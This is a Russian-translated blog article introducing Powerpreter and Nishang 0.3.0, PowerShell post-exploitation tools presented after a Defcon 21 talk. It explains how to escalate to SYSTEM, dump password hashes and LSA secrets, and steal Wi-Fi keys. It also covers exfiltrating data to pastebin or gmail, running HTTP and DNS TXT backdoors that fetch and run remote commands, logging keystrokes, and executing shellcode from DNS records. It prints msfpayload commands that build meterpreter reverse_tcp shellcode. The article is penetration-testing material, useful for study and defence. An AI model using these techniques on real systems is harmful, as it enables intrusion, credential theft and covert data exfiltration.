Введение в Powerpreter and Nishang 0.3.0: Простой способ использования уязвимостей с помощью powershell – Часть 1

Введение в Powerpreter and Nishang 0.3.0: Простой способ использования уязвимостей с помощью powershell – Часть 1

Данная статья посвящена теме, которую я не смог обсудить во время своего выступления на Defcon 21 «Powerpreter: максимальное использование». За 45 минут можно осветить лишь несколько основных моментов темы, поэтому данная статья, как и несколько последующих, имеет своей целью заполнить пробелы, которые остались после моего выступления.

Автор: Nikhil SamratAshok Mittal

Данная статья посвящена теме, которую я не смог обсудить во время своего выступления на Defcon 21 «Powerpreter: максимальное использование». За 45 минут можно осветить лишь несколько основных моментов темы, поэтому данная статья, как и несколько последующих, имеет своей целью заполнить пробелы, которые остались после моего выступления.

В рамках цикла статей я намерен выпустить следующие работы:

  • Введение в Powerpreter и Nishang 0.3.0: Простой способ использования уязвимостей с помощью powershell – Часть 1
  • Powerpreter и Nishang 0.3.0: Удаленный доступ и взлом других компьютеров в сети - Part 2
  • Powerpreter and Nishang 0.3.0 : Устойчивость - Part 3
  • Powerpreter and Nishang 0.3.0 : Различные методы развертывания и использования - Part 4
  • Введение в Antak, Powerpreter and Nishang 0.3.0 : webshell в powershell - Part 5

Powerpreter – модуль powershell’а. Я решил сделать его частью программы, так как в них есть изрядная часть одинакового кода. В данной статье предполагается, что у нас есть административный доступ к компьютеру под управлением Windows 7. Powerpreter можно использовать и из-под обычного пользователя, но, очевидно, это приведет к понятным для всех ограничениям (тем, не менее, как показано далее, его использование останется достаточно полезным). Во всех скриптах – и в powerpreter’е в том числе – я сделал все возможное, чтобы сохранить совместимость с powershellv2, поэтому вы можете увидеть код, который можно выполнить с помощью cmdlet в powershellv3 и v4.

После получения доступа к компьютеру, powerpreter может быть импортирован в powershell сессии. Для использования хэшей или учетных данных в удаленной сессии powershell, см. мои предыдущие статьи:

http://labofapenetrationtester.blogspot.in/2013/04/poshing-the-hashes.html

http://labofapenetrationtester.blogspot.in/2013/05/poshing-hashes-part-2.html

Из удаленной сессии powershell’а:

Чтобы получить список методов в импортированном модуле, используем следующую команду:

Get-Command -Module powerpreter

Мы имеем возможность отобразить помощь для каждой функции, используя ключ help. Например, для Chech-VM это будет выглядеть следующим образом:

help Check-VM –full

Теперь давайте рассмотрим некоторые из этих методов/команд. Некоторые из функций powerpreter’а были разобраны в статьях, посвященных Nishang’у. Я затрону лишь пару из них и несколько новых функций:

Например, Get-WLAN-Keys:

Вы также можете использовать ключ –exfil при необходимости скрытого копирования информации в pastebin/gmail/tinypaste. Более подробно можно прочитать по ссылке: http://labofapenetrationtester.blogspot.in/2013/06/nishang-0-2-7.html

Enable-DuplicateToken, Get-PassHashes и Get-LsaSecret.

Используйте Enable-DuplicateToken для эскалации ваших привилегий до уровня SYSTEM и дальнейшего использования Get-PassHases или Get-LsaSecret, в зависимости от того, что вам необходимо.

EnableDuplicateToken;Get-PassHashes

Посмотрим, как это работает в реальных условиях в meterpreter’е.

Сначала скачаем powerpreter. Во избежание каких-либо проблем, я использую ключ –encodedcommand powershell.exe в meterpreter’е. В powerpreter для этого можно использовать StringtoBase64.

В случае использования Get-LsaSecret на 64-разрядной машине, необходимо использовать 32-разрядный powershell. Поэтому в удаленной powershell-сессии используйте следующий путь к powershell.exe: «C:\Windows\SysWOW64\WindowsPowerShell\v1.0». Но если мы используем meterpreter и если процесс на целевом компьютере 32-битный, то необходимость использования 32-разрядного powershell;а отпадает.

Get-LsaSecret написана Niklas’ом Goude’ом, а Get-Passhashes – David’ом Kennedy.

HTTP-Backdoor

Этот бэкдор можно контролировать через website, чей контент мы можем менять. Продемонстрирую на примере pastebin

Функция требует ввести 4 параметра. Она требует ввести CheckURL для строки, находящейся в Magicstring. Как только строки совпадут, из PayloadURL запускается скрипт или команда powershell.

Различные команды или скрипты можно запускать, меняя содержимое PauloadURL. После успешного выполнения программа ждет 60 секунд до следующего запуска. Это позволяет избежать слишком большой генерации трафика. Бэкдор стартует в новом процессе. С помощью ключа –exfil результаты его работы могут быть размещены в удобном для нас месте.

Вот как процесс бэкдора будет выглядеть для пользователя.

DNS TXT Backdoor

Данный бэкдор использует записи DNS TXT для получения команд и скриптов, которые необходимо выполнить (также инструкции запуска и останова).

Существует несколько опций. StartDomain – будет использоваться бэкдором для получения инструкций. Далее представлены три варианта:

  1. Если txt запись StartDomain’а соответствует cmdstring, бэкдор для поиска исполняемых на целевой машине команд будет использовать запись commanddomain.
  2. Если txt запись StartDomain’а соответствует psstring, бэкдор будет искать base64 powershell скрипт в psdomain.
  3. Если txt запись StartDomain’а соответствует stopstring, он будет остановлен.

Как и в случае с HTTP-Backdoor данный бэкдор также запускается в новом процессе. Кроме того, существует возможность использовать ключа –exfil. Пример использования бэкдора:

Мы выполнили Get-Service на целевом компьютере, а результаты были отправлены по gmail.

Теперь давайте рассмотрим Keylogger. К сожалению, он не работает из удаленной сессии powershell. Но давайте запустим его в сессии meterpreter’а.

keylogger сохраняет информацию о нажатых клавишах в пользовательскую папку temp на целевой машине. Лог можно просмотреть с помощью скрипта Parse_Keys в Nishang. Если вы используете ключ –exfil и выбираете gmail в качестве способа доставки информации, то файл key.log будет отправлен как вложение. Чтоб избежать отправки одинаковых вложений, после 30 операций чтения key.log обнуляется.

Выполнение кода txt файлов DNS

Данная функция может быть использована для выполнения шеллкода из txt записей DNS в ее памяти. Нам необходимо предоставлять разные домены для 32- и 64-разрядного шеллкода. Программа определит архитектуру во время выполнения и выберет соответственный шеллкод.

Для генерации шеллкода с помощью msf мы можем использовать команду, которую можно найти в help’е.

./msfpayload windows/meterpreter/reverse_tcp LHOST=<ip> EXITFUNC=process C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- |sed 's/^[^0]*\(0.*\/\*\).*/\1/' | sed 's/.\{2\}$//' | tr -d '\n'
./msfpayload windows/x64/meterpreter/reverse_tcp LHOST=<ip> EXITFUNC=process C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- |sed 's/^[^0]*\(0.*\/\*\).*/\1/' | sed 's/.\{2\}$//' | tr -d '\n'

Давайте проверим, как наша функция поведет себя на 64-разрядной машине.

В консоли листнера:

Исполняемый код написан Matt’ом Graeber’ом.

Обновление: По многочисленным просьбам отвечу на вопрос: HTTP-Backdoor, DNS TXT Backdoor, Keylogger и DNS TXT Code Execution – все они работают без прав администратора. Хотя, для использования powershell удаленно мы обязаны обладать административными правами на удаленный доступ к компьютеру. Но если мы обладаем неадминистративными правами на доступ, мы все равно можем использовать вышеперечисленные функции.

Особое спасибо хотел сказать Lee Holmes’у за анализ моего кода и внесение улучшений.

Что ж, хватит о Powerpreter’е в данной статье. Так как он является частью Nishang, я бы хотел анонсировать обновленную версию Nishang 0.3.0. Изменения представлены в логе:

- добавлен Powerpreter

- добавлена функция Execute-DNSTXT-Code

- исправлены ошибки в Create-MultipleSessions.

- изменения в StringToBase64. Теперь она поддерживает Unicode, что позволяет использовать ее с –Encodedcommand, также добавлена возможность конвертирования файла

- добавлена функция Copy-VSS

- улучшен формат вывода функции Information_Gather.

- Information_Gather переименована в Get-Information.

- Wait for command переименована в HTTP-Backdoor.

- Time_Execution переименована в Execute-OnTime

- Invoke-PingSweep переименована в Port-Scan

- Invoke-Medusa переименована в Brute-Force

Скачать Nishang и powerpreter можно по адресу http://code.google.com/p/nishang

Кроме того, теперь у Nishang есть свой логотип! Пожалуйста, делитесь своими впечатлениями? Он был создан в Powerpoint, а задний фон был удален с помощью lunapic.com.

Если вы ищите презентацию с моего выступления на defcon, можете скачать ее здесь: http://labofapenetrationtester.blogspot.in/p/blog-page.html

Надеюсь, вам понравилась статья, и вы найдете ей применение. Как всегда, сообщайте, если найдете ошибки, делитесь впечатлениями и оставляйте пожелания.


Устали от того, что Интернет знает о вас все?

Присоединяйтесь к нам и станьте невидимыми!